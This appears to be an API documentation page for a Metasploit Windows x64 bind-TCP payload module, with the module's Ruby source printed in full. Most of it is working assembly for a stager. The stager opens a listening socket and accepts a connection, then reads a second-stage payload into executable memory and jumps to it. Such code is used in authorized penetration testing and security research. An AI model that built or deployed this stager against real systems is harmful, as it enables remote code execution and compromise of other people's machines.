Module: Msf::Payload::Windows::BindTcp_x64

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64, SendUUID_x64
Included in:
BindTcpRc4_x64
Defined in:
lib/msf/core/payload/windows/x64/bind_tcp_x64.rb

Overview

Complex bindtcp payload generation for Windows ARCH_X64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from SendUUID_x64

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_bind_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Integer) —

    The port to connect to

  • :exitfunk (String) —

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool) —

    Whether or not to enable error handling code



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 102

def asm_bind_tcp(opts={})
  reliable      = opts[:reliable]
  addr_fam      = 2
  sockaddr_size = 16
  stack_alloc   = 408+8+8*6+32*7

  if use_ipv6
    addr_fam      = 23
    sockaddr_size = 28
    stack_alloc  += 8*2 # two more rax pushes
  end

  encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first

  asm = %Q^
    bind_tcp:
      ; setup the structures we need on the stack...
      mov r14, 'ws2_32'
      push r14               ; Push the bytes 'ws2_32',0,0 onto the stack.
      mov r14, rsp           ; save pointer to the "ws2_32" string for LoadLibraryA call.
      sub rsp, 408+8         ; alloc sizeof( struct WSAData ) bytes for the WSAData
                             ; structure (+8 for alignment)
      mov r13, rsp           ; save pointer to the WSAData structure for WSAStartup call.
      xor rax, rax
  ^

  if use_ipv6
    asm << %Q^
      ; IPv6 requires another 12 zero-bytes for the socket structure,
      ; so push 16 more onto the stack
      push rax
      push rax
    ^
  end

  asm << %Q^
      push rax               ; stack alignment
      push rax               ; tail-end of the sockaddr_in/6 struct
      mov r12, #{encoded_port}
      push r12               ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port
      mov r12, rsp           ; save pointer to sockaddr_in struct for bind call

      ; perform the call to LoadLibraryA...
      mov rcx, r14           ; set the param for the library to load
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call rbp               ; LoadLibraryA( "ws2_32" )

      ; perform the call to WSAStartup...
      mov rdx, r13           ; second param is a pointer to this struct
      push 0x0101            ;
      pop rcx                ; set the param for the version requested
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call rbp               ; WSAStartup( 0x0101, &WSAData );

      ; perform the call to WSASocketA...
      push #{addr_fam}       ; push AF_INET/6
      pop rcx                ; pop family into rcx
      push rax               ; if we succeed, rax will be zero, push zero for the flags param.
      push rax               ; push null for reserved parameter
      xor r9, r9             ; we do not specify a WSAPROTOCOL_INFO structure
      xor r8, r8             ; we do not specify a protocol
      inc rax                ;
      mov rdx, rax           ; push SOCK_STREAM
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call rbp               ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
      mov rdi, rax           ; save the socket for later

      ; perform the call to bind...
      push #{sockaddr_size}
      pop r8                 ; length of the sockaddr_in struct (we only set the
                             ; first 8 bytes as the rest aren't used)
      mov rdx, r12           ; set the pointer to sockaddr_in struct
      mov rcx, rdi           ; socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
      call rbp               ; bind( s, &sockaddr_in, #{sockaddr_size} );

      ; perform the call to listen...
      xor rdx, rdx           ; backlog
      mov rcx, rdi           ; socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
      call rbp               ; listen( s, 0 );

      ; perform the call to accept...
      xor r8, r8             ; we set length for the sockaddr struct to zero
      xor rdx, rdx           ; we dont set the optional sockaddr param
      mov rcx, rdi           ; listening socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
      call rbp               ; accept( s, 0, 0 );

      ; perform the call to closesocket...
      mov rcx, rdi           ; the listening socket to close
      mov rdi, rax           ; swap the new connected socket over the listening socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call rbp               ; closesocket( s );

      ; restore RSP so we dont have any alignment issues with the next block...
      add rsp, #{stack_alloc} ; cleanup the stack allocations
  ^

  asm << asm_send_uuid if include_send_uuid
  return asm
end

#asm_block_recv(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 205

def asm_block_recv(opts={})

  asm = %Q^
    recv:
      ; Receive the size of the incoming second stage...
      sub rsp, 16            ; alloc some space (16 bytes) on stack for to hold the second stage length
      mov rdx, rsp           ; set pointer to this buffer
      xor r9, r9             ; flags
      push 4                 ;
      pop r8                 ; length = sizeof( DWORD );
      mov rcx, rdi           ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp               ; recv( s, &dwLength, 4, 0 );
      add rsp, 32            ; we restore RSP from the api_call so we can pop off RSI next

      ; Alloc a RWX buffer for the second stage
      pop rsi                ; pop off the second stage length
      mov esi, esi           ; only use the lower-order 32 bits for the size
      push 0x40              ;
      pop r9                 ; PAGE_EXECUTE_READWRITE
      push 0x1000            ;
      pop r8                 ; MEM_COMMIT
      mov rdx, rsi           ; the newly received second stage length.
      xor rcx, rcx           ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

      ; Receive the second stage and execute it...
      mov rbx, rax           ; rbx = our new memory address for the new stage
      mov r15, rax           ; save the address so we can jump into it later

    read_more:               ;
      xor r9, r9             ; flags
      mov r8, rsi            ; length
      mov rdx, rbx           ; the current address into our second stages RWX buffer
      mov rcx, rdi           ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp               ; recv( s, buffer, length, 0 );

      add rbx, rax           ; buffer += bytes_received
      sub rsi, rax           ; length -= bytes_received
      test rsi, rsi          ; test length
      jnz read_more          ; continue if we have more to read
      jmp r15                ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 22

def generate(_opts = {})
  conf = {
    port:     datastore['LPORT'],
    reliable: false
  }

  # Generate the more advanced stager if we have the space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_bind_tcp(conf)
end

#generate_bind_tcp(opts = {}) ⇒ Object

Generate and compile the stager



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 56

def generate_bind_tcp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp              ; pop off the address of 'api_call' for calling later.
    #{asm_bind_tcp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 41

def include_send_uuid
  false
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 73

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)

  # TODO: this is coming soon
  # Reliability checks add 4 bytes for the first check, 5 per recv check (2)
  #space += 14

  # 2 more bytes are added for IPv6
  space += 2 if use_ipv6

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 49

def transport_config(opts={})
  transport_config_bind_tcp(opts)
end

#use_ipv6 ⇒ Object 



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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 45

def use_ipv6
  false
end